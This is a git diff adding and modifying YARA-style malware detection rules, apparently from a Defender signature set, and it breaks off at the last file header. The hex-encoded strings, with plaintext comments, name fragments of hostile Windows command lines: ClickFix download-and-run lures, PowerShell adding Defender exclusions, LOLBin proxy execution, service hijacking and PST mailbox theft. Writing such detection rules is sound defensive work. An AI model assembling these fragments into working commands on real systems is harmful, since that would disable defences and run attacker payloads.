a/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_D.yar b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_D.yar new file mode 100644 index 0000000000..b85e6b8bd9 --- /dev/null +++ b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_D.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_SuspClickFix_D{ + meta: + description = "Trojan:Win32/SuspClickFix.D,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 05 00 00 " + + strings : + $a_00_0 = {5c 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 } //10 + $a_00_1 = {68 00 74 00 74 00 70 00 } //5 http + $a_00_2 = {7c 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 | powershell + $a_00_3 = {7c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 |powershell + $a_02_4 = {53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 [0-20] 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 [0-20] 2e 00 65 00 78 00 65 00 } //1 + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*5+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_02_4 & 1)*1) >=16 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_E.yar b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_E.yar new file mode 100644 index 0000000000..be47c4e642 --- /dev/null +++ b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_E.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_SuspClickFix_E{ + meta: + description = "Trojan:Win32/SuspClickFix.E,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {5c 00 57 00 4d 00 49 00 43 00 2e 00 65 00 78 00 65 00 00 00 } //1 + $a_02_1 = {20 00 70 00 72 00 6f 00 64 00 75 00 63 00 74 00 20 00 63 00 61 00 6c 00 6c 00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 20 00 [0-40] 68 00 74 00 74 00 70 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_F.yar b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_F.yar new file mode 100644 index 0000000000..e7fc28f1a9 --- /dev/null +++ b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_F.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_SuspClickFix_F{ + meta: + description = "Trojan:Win32/SuspClickFix.F,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_00_0 = {5c 00 74 00 61 00 72 00 2e 00 65 00 78 00 65 00 00 00 } //5 + $a_02_1 = {20 00 2d 00 78 00 66 00 20 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 [0-20] 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 52 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 [0-20] 2e 00 7a 00 69 00 70 00 } //1 + $a_02_2 = {20 00 2d 00 43 00 20 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 [0-20] 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 52 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 } //1 + $a_02_3 = {20 00 2d 00 78 00 66 00 20 00 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 [0-20] 2e 00 7a 00 69 00 70 00 } //1 + $a_00_4 = {20 00 2d 00 43 00 20 00 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 } //1 -C C:\ProgramData\ + $a_02_5 = {20 00 2d 00 78 00 66 00 20 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 50 00 75 00 62 00 6c 00 69 00 63 00 5c 00 [0-30] 2e 00 7a 00 69 00 70 00 } //1 + $a_00_6 = {20 00 2d 00 43 00 20 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 50 00 75 00 62 00 6c 00 69 00 63 00 5c 00 } //1 -C C:\Users\Public\ + condition: + ((#a_00_0 & 1)*5+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1+(#a_00_4 & 1)*1+(#a_02_5 & 1)*1+(#a_00_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_H.yar b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_H.yar new file mode 100644 index 0000000000..f3fa57945e --- /dev/null +++ b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_H.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_SuspClickFix_H{ + meta: + description = "Trojan:Win32/SuspClickFix.H,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_00_0 = {5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 } //1 + $a_00_1 = {20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 } //1 cmd.exe /c cmd.exe /c + $a_00_2 = {50 00 4f 00 53 00 54 00 } //1 POST + $a_00_3 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_4 = {2e 00 70 00 68 00 70 00 } //1 .php + $a_00_5 = {20 00 2d 00 6f 00 20 00 } //1 -o + $a_00_6 = {26 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 } //1 && start + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_I.yar b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_I.yar new file mode 100644 index 0000000000..b3e487204b --- /dev/null +++ b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_I.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_SuspClickFix_I{ + meta: + description = "Trojan:Win32/SuspClickFix.I,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_00_0 = {5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 66 00 74 00 70 00 2e 00 65 00 78 00 65 00 00 00 } //1 + $a_00_1 = {35 00 37 00 38 00 35 00 39 00 62 00 36 00 65 00 2d 00 65 00 63 00 34 00 62 00 2d 00 34 00 37 00 39 00 61 00 2d 00 61 00 31 00 35 00 35 00 2d 00 61 00 35 00 65 00 39 00 32 00 34 00 38 00 36 00 38 00 33 00 64 00 36 00 } //-10 57859b6e-ec4b-479a-a155-a5e9248683d6 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*-10) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_J.yar b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_J.yar new file mode 100644 index 0000000000..cf5d70aa02 --- /dev/null +++ b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_J.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_SuspClickFix_J{ + meta: + description = "Trojan:Win32/SuspClickFix.J,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {5c 00 63 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 00 00 } //1 + $a_02_1 = {5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 [0-10] 2e 00 76 00 62 00 73 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_K.yar b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_K.yar new file mode 100644 index 0000000000..6c270b88f0 --- /dev/null +++ b/Trojan/Win32/SuspClickFix/Trojan_Win32_SuspClickFix_K.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_SuspClickFix_K{ + meta: + description = "Trojan:Win32/SuspClickFix.K,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {5c 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 00 00 } //1 + $a_02_1 = {5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 [0-10] 2e 00 68 00 74 00 61 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspCodeExec/Trojan_Win32_SuspCodeExec_E.yar b/Trojan/Win32/SuspCodeExec/Trojan_Win32_SuspCodeExec_E.yar new file mode 100644 index 0000000000..d42a52dad0 --- /dev/null +++ b/Trojan/Win32/SuspCodeExec/Trojan_Win32_SuspCodeExec_E.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_SuspCodeExec_E{ + meta: + description = "Trojan:Win32/SuspCodeExec.E,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_80_0 = {26 20 70 63 61 6c 75 61 2e 65 78 65 20 2d 61 20 } //& pcalua.exe -a 1 + $a_80_1 = {20 2d 63 20 5c 5c 2e 5c 70 69 70 65 5c 6d 6f 76 65 } // -c \\.\pipe\move 1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspDefenderExclusions/Trojan_Win32_SuspDefenderExclusions_SH.yar b/Trojan/Win32/SuspDefenderExclusions/Trojan_Win32_SuspDefenderExclusions_SH.yar new file mode 100644 index 0000000000..8f33cb4832 --- /dev/null +++ b/Trojan/Win32/SuspDefenderExclusions/Trojan_Win32_SuspDefenderExclusions_SH.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_SuspDefenderExclusions_SH{ + meta: + description = "Trojan:Win32/SuspDefenderExclusions.SH,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 06 00 00 " + + strings : + $a_80_0 = {26 20 63 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 65 6c 6c 5c } //& c:\windows\system32\windowspowershell\ 2 + $a_80_1 = {70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 65 78 65 63 20 62 79 70 61 73 73 20 2d 63 6f 6d 6d 61 6e 64 } //powershell.exe -exec bypass -command 2 + $a_80_2 = {61 64 64 2d 6d 70 70 72 65 66 65 72 65 6e 63 65 } //add-mppreference 2 + $a_80_3 = {2d 65 78 63 6c 75 73 69 6f 6e 70 61 74 68 } //-exclusionpath 1 + $a_80_4 = {2d 65 78 63 6c 75 73 69 6f 6e 65 78 74 65 6e 73 69 6f 6e } //-exclusionextension 1 + $a_80_5 = {2d 65 78 63 6c 75 73 69 6f 6e 70 72 6f 63 65 73 73 } //-exclusionprocess 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*2+(#a_80_2 & 1)*2+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HB_MTB.yar b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HB_MTB.yar new file mode 100644 index 0000000000..d3e37ae42c --- /dev/null +++ b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_SuspExec_HB_MTB{ + meta: + description = "Trojan:Win32/SuspExec.HB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,29 00 29 00 03 00 00 " + + strings : + $a_00_0 = {2f 00 63 00 20 00 73 00 63 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 } //1 /c sc create + $a_02_1 = {62 00 69 00 6e 00 70 00 61 00 74 00 68 00 3d 00 [0-22] 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 } //5 + $a_02_2 = {72 00 65 00 67 00 20 00 61 00 64 00 64 00 20 00 68 00 6b 00 6c 00 6d 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 5c 00 63 00 75 00 72 00 72 00 65 00 6e 00 74 00 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 73 00 65 00 74 00 5c 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 [0-14] 5c 00 70 00 61 00 72 00 61 00 6d 00 65 00 74 00 65 00 72 00 73 00 20 00 2f 00 76 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 64 00 6c 00 6c 00 20 00 2f 00 74 00 20 00 72 00 65 00 67 00 5f 00 65 00 78 00 70 00 61 00 6e 00 64 00 5f 00 73 00 7a 00 20 00 2f 00 64 00 20 00 [0-16] 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 [0-14] 2e 00 64 00 61 00 74 00 } //35 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*5+(#a_02_2 & 1)*35) >=41 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HC_MTB.yar b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HC_MTB.yar new file mode 100644 index 0000000000..9108995b1c --- /dev/null +++ b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_SuspExec_HC_MTB{ + meta: + description = "Trojan:Win32/SuspExec.HC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {2e 00 74 00 6d 00 70 00 20 00 2f 00 45 00 6e 00 66 00 6f 00 72 00 63 00 65 00 64 00 52 00 75 00 6e 00 41 00 73 00 41 00 64 00 6d 00 69 00 6e 00 20 00 2f 00 52 00 75 00 6e 00 41 00 73 00 41 00 64 00 6d 00 69 00 6e 00 20 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 50 00 75 00 62 00 6c 00 69 00 63 00 5c 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 73 00 5c 00 [0-10] 2e 00 65 00 78 00 65 00 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HD_MTB.yar b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HD_MTB.yar new file mode 100644 index 0000000000..36c2733f78 --- /dev/null +++ b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_SuspExec_HD_MTB{ + meta: + description = "Trojan:Win32/SuspExec.HD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_00_0 = {2f 00 63 00 20 00 63 00 68 00 6f 00 69 00 63 00 65 00 20 00 2f 00 43 00 20 00 59 00 20 00 2f 00 4e 00 20 00 2f 00 44 00 20 00 59 00 20 00 2f 00 54 00 20 00 33 00 20 00 26 00 20 00 44 00 65 00 6c 00 20 00 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 4e 00 45 00 54 00 5c 00 46 00 72 00 61 00 6d 00 65 00 77 00 6f 00 72 00 6b 00 5c 00 76 00 } //1 /c choice /C Y /N /D Y /T 3 & Del C:\Windows\Microsoft.NET\Framework\v + condition: + ((#a_00_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HF_MTB.yar b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HF_MTB.yar new file mode 100644 index 0000000000..e69e4eb42a --- /dev/null +++ b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_SuspExec_HF_MTB{ + meta: + description = "Trojan:Win32/SuspExec.HF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_02_0 = {66 00 72 00 61 00 6d 00 65 00 77 00 6f 00 72 00 6b 00 5c 00 76 00 [0-14] 5c 00 72 00 65 00 67 00 73 00 76 00 63 00 73 00 2e 00 65 00 78 00 65 00 [0-06] 3a 00 5c 00 } //1 + $a_00_1 = {2e 00 64 00 6c 00 6c 00 } //-100 .dll + condition: + ((#a_02_0 & 1)*1+(#a_00_1 & 1)*-100) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HI_MTB.yar b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HI_MTB.yar new file mode 100644 index 0000000000..d830618ffa --- /dev/null +++ b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_HI_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_SuspExec_HI_MTB{ + meta: + description = "Trojan:Win32/SuspExec.HI!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,33 00 33 00 04 00 00 " + + strings : + $a_00_0 = {70 00 69 00 6e 00 67 00 20 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 20 00 2d 00 6e 00 20 00 31 00 20 00 26 00 } //1 ping localhost -n 1 & + $a_00_1 = {70 00 69 00 6e 00 67 00 20 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 20 00 2d 00 6e 00 20 00 31 00 20 00 26 00 } //1 ping 127.0.0.1 -n 1 & + $a_02_2 = {26 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 [0-20] 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 [0-30] 2e 00 65 00 78 00 65 00 } //50 + $a_02_3 = {41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 [0-30] 5c 00 } //-300 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_02_2 & 1)*50+(#a_02_3 & 1)*-300) >=51 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_SB.yar b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_SB.yar new file mode 100644 index 0000000000..d75bf5f56e --- /dev/null +++ b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_SB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_SuspExec_SB{ + meta: + description = "Trojan:Win32/SuspExec.SB,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 05 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 } //5 mshta.exe + $a_00_1 = {76 00 62 00 73 00 63 00 72 00 69 00 70 00 74 00 3a 00 65 00 78 00 65 00 63 00 75 00 74 00 65 00 28 00 } //5 vbscript:execute( + $a_00_2 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //5 powershell + $a_00_3 = {73 00 74 00 72 00 72 00 65 00 76 00 65 00 72 00 73 00 65 00 } //5 strreverse + $a_00_4 = {6c 00 6c 00 65 00 68 00 53 00 2e 00 74 00 70 00 69 00 72 00 63 00 73 00 57 00 } //5 llehS.tpircsW + condition: + ((#a_00_0 & 1)*5+(#a_00_1 & 1)*5+(#a_00_2 & 1)*5+(#a_00_3 & 1)*5+(#a_00_4 & 1)*5) >=20 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_SE.yar b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_SE.yar new file mode 100644 index 0000000000..1dfd2d5ed1 --- /dev/null +++ b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_SE.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_SuspExec_SE{ + meta: + description = "Trojan:Win32/SuspExec.SE,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_00_0 = {6e 00 6f 00 64 00 65 00 2e 00 65 00 78 00 65 00 } //2 node.exe + $a_00_1 = {73 00 70 00 61 00 77 00 6e 00 28 00 } //2 spawn( + $a_00_2 = {65 00 78 00 65 00 63 00 73 00 79 00 6e 00 63 00 } //2 execsync + $a_00_3 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-100 msedgewebview2.exe + $a_00_4 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo + condition: + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*-100+(#a_00_4 & 1)*-1000) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_SEA.yar b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_SEA.yar new file mode 100644 index 0000000000..7ba24a2a6a --- /dev/null +++ b/Trojan/Win32/SuspExec/Trojan_Win32_SuspExec_SEA.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_SuspExec_SEA{ + meta: + description = "Trojan:Win32/SuspExec.SEA,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_02_0 = {72 00 65 00 67 00 [0-30] 61 00 64 00 64 00 [0-30] 72 00 65 00 67 00 5f 00 73 00 7a 00 } //1 + $a_02_1 = {5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 72 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 6e 00 6f 00 64 00 65 00 [0-30] 6e 00 6f 00 64 00 65 00 2e 00 65 00 78 00 65 00 } //1 + $a_02_2 = {5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 72 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 6e 00 6f 00 64 00 65 00 [0-ff] 2e 00 6c 00 6f 00 67 00 } //1 + condition: + ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspExecEmails/Trojan_Win32_SuspExecEmails_MK.yar b/Trojan/Win32/SuspExecEmails/Trojan_Win32_SuspExecEmails_MK.yar new file mode 100644 index 0000000000..eeda3e8838 --- /dev/null +++ b/Trojan/Win32/SuspExecEmails/Trojan_Win32_SuspExecEmails_MK.yar @@ -0,0 +1,27 @@ + +rule Trojan_Win32_SuspExecEmails_MK{ + meta: + description = "Trojan:Win32/SuspExecEmails.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_80_0 = {65 63 68 6f 20 73 62 5f } //echo sb_ 1 + $a_80_1 = {20 3e 4e 55 4c } // >NUL 1 + $a_80_2 = {2a 2e 70 73 74 20 26 20 65 78 69 74 } //*.pst & exit 1 + $a_00_3 = {61 00 34 00 38 00 39 00 36 00 63 00 66 00 38 00 2d 00 61 00 34 00 66 00 61 00 2d 00 34 00 30 00 65 00 39 00 2d 00 39 00 30 00 65 00 30 00 2d 00 33 00 62 00 32 00 64 00 64 00 63 00 33 00 65 00 33 00 63 00 65 00 31 00 } //-1 a4896cf8-a4fa-40e9-90e0-3b2ddc3e3ce1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} +rule Trojan_Win32_SuspExecEmails_MK_2{ + meta: + description = "Trojan:Win32/SuspExecEmails.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_80_0 = {65 63 68 6f 20 73 62 5f } //echo sb_ 1 + $a_80_1 = {20 3e 4e 55 4c } // >NUL 1 + $a_80_2 = {2a 2e 70 73 74 20 26 20 65 78 69 74 } //*.pst & exit 1 + $a_00_3 = {63 00 34 00 38 00 39 00 36 00 63 00 66 00 38 00 2d 00 61 00 34 00 66 00 61 00 2d 00 34 00 30 00 65 00 39 00 2d 00 39 00 30 00 65 00 30 00 2d 00 33 00 62 00 32 00 64 00 64 00 63 00 33 00 65 00 33 00 63 00 65 00 32 00 } //-1 c4896cf8-a4fa-40e9-90e0-3b2ddc3e3ce2 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspLolbinLaunch/Trojan_Win32_SuspLolbinLaunch_B_rundll.yar b/Trojan/Win32/SuspLolbinLaunch/Trojan_Win32_SuspLolbinLaunch_B_rundll.yar index 02a451a9b9..dae0fa1788 100644 --- a/Trojan/Win32/SuspLolbinLaunch/Trojan_Win32_SuspLolbinLaunch_B_rundll.yar +++ b/Trojan/Win32/SuspLolbinLaunch/Trojan_Win32_SuspLolbinLaunch_B_rundll.yar @@ -1,14 +1,16 @@ rule Trojan_Win32_SuspLolbinLaunch_B_rundll{ meta: - description = "Trojan:Win32/SuspLolbinLaunch.B!rundll,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 00 " + description = "Trojan:Win32/SuspLolbinLaunch.B!rundll,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 06 00 00 " strings : $a_02_0 = {72 00 75 00 6e 00 64 00 6c 00 6c 00 [0-40] 6d 00 73 00 68 00 74 00 6d 00 6c 00 } //1 $a_00_1 = {5c 00 66 00 69 00 6c 00 74 00 65 00 72 00 2e 00 65 00 78 00 65 00 } //-5 \filter.exe $a_00_2 = {74 00 68 00 6f 00 72 00 5c 00 73 00 69 00 67 00 6e 00 61 00 74 00 75 00 72 00 65 00 73 00 } //-5 thor\signatures $a_00_3 = {2e 00 79 00 6d 00 73 00 2d 00 74 00 65 00 78 00 74 00 66 00 69 00 6c 00 74 00 65 00 72 00 } //-5 .yms-textfilter + $a_00_4 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-1000 msedgewebview2.exe + $a_00_5 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_02_0 & 1)*1+(#a_00_1 & 1)*-5+(#a_00_2 & 1)*-5+(#a_00_3 & 1)*-5) >=1 + ((#a_02_0 & 1)*1+(#a_00_1 & 1)*-5+(#a_00_2 & 1)*-5+(#a_00_3 & 1)*-5+(#a_00_4 & 1)*-1000+(#a_00_5 & 1)*-1000) >=1 } \ No newline at end of file diff --git a/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_A.yar b/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_A.yar index cafff241d8..e518589daf 100644 --- a/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_A.yar +++ b/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_A.yar @@ -5,7 +5,7 @@ rule Trojan_Win32_SuspProxyExecution_A{ strings : $a_80_0 = {72 65 67 61 73 6d 2e 65 78 65 } //regasm.exe 1 - $a_80_1 = {72 65 67 73 76 63 2e 65 78 65 } //regsvc.exe 1 + $a_80_1 = {72 65 67 73 76 63 73 2e 65 78 65 } //regsvcs.exe 1 $a_02_2 = {2f 00 74 00 6c 00 62 00 3a 00 [0-c8] 2e 00 74 00 6c 00 62 00 } //2 $a_02_3 = {2f 74 6c 62 3a [0-c8] 2e 74 6c 62 } //2 $a_80_4 = {5f 63 6f 6d 70 6f 6e 65 6e 74 2e 64 6c 6c } //_component.dll 2 diff --git a/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_B.yar 